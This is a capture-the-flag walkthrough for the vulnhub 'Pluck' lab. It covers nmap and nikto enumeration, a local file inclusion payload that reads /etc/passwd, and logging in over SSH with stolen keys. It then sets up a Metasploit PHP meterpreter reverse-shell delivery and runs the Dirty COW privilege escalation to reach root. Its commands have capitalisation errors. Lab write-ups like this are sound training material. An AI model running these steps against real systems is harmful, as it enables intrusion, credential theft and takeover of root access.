Hack the Pluck VM (CTF Challenge)

Coming towards another tutorial of vulnhub’s lab challenges “pluck” you can download it from here.

This lab is quite simple this article may help you to solve the task for capturing the flag.

LET’S START!!!

192.168.1.115 is my target IP let enumerate through aggressive scan using NMAP. You can observe its result from given screenshot.

Nmap –p- -A 192.168.1.115

Use nikto to dig up more information related to target

Nikto –h http://192.168.1.115

Finally I have got something very remarkable here if you notice the given below image the highlighted text looks like local file inclusion vulnerability.

So when I explore the above highlighted text in the browser here I got more than enough data. The highlighted text denotes towards some kind of backup script file path.

 http://192.168.1.115/index.php?page=../../../../../../../../etc/passwd

When again I walk around it now further I found a tar file for backup.

 http://192.168.1.115/index.php?page=/usr/local/scripts/backup.sh

Download tar file of backup script, type following command inside the terminal of your kali Linux.

Wget http://192.168.1.115/index.php?page=/backups/backup.tar

Now type following command to extract backup.tar file

Tar –xvf index.php\?page\=%2Fbackups%2Fbackup.tar

Inside it I found home folder which further contains sub folder for 3 users.

Among all 3 users only paul has keys

cd paul

ls

cd keys

ls

So here I found 6 keys, let use one of them for connection.

Ssh –I id_key4 paul@192.168.1.115

When you will try to connect with target using ssh simultaneously a new terminal “Pdmenu” will pop up. Here I got so many option but I choose Edit file option that gave me a prompt to edit any file and it look like command injection vulnerability.

Now load metasploit framework and type following

Msfconsole

use exploit/multi/script/web_delivery

msf exploit (web_delivery)>set target 1

msf exploit (web_delivery)>set payload php/meterpreter/reverse_tcp

msf exploit (web_delivery)>set lhost 192.168.1.15 (IP of Local Host)

msf exploit (web_delivery)>set lport 4444

msf exploit (web_delivery)>set svrport 8081

msf exploit (web_delivery)>exploit

Now copy the generated command php….5tz’));” and send it to target

Now paste above command as shown in the screenshot and hit enter which will give you reverse connection at the background inside metasploit.

Great!!! We have got victim’s meterpreter session

Meterpreter>shell

Uname –a

When I looked in Google I found Kernel 4.8.0 has Dirty cow vulnerability it is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel's memory-management subsystem.

Here got the path to download exploit which might be related to it.

Open this path “http://www.exploit-db.com/download/40616” in browser and downloads the exploit for dirty cow vulnerability. I have saved this exploit as raj.

Now type following command to compile your exploit so that it can run successfully inside your Kali Linux.

Gcc shell.c –o raj –pthread

Now we can run our exploit to achieve root permission and try to capture the flag

./raj

Cd /root

Ls

Cat flag.txt

 Bravo!!! We have captured the flag an beat this task………..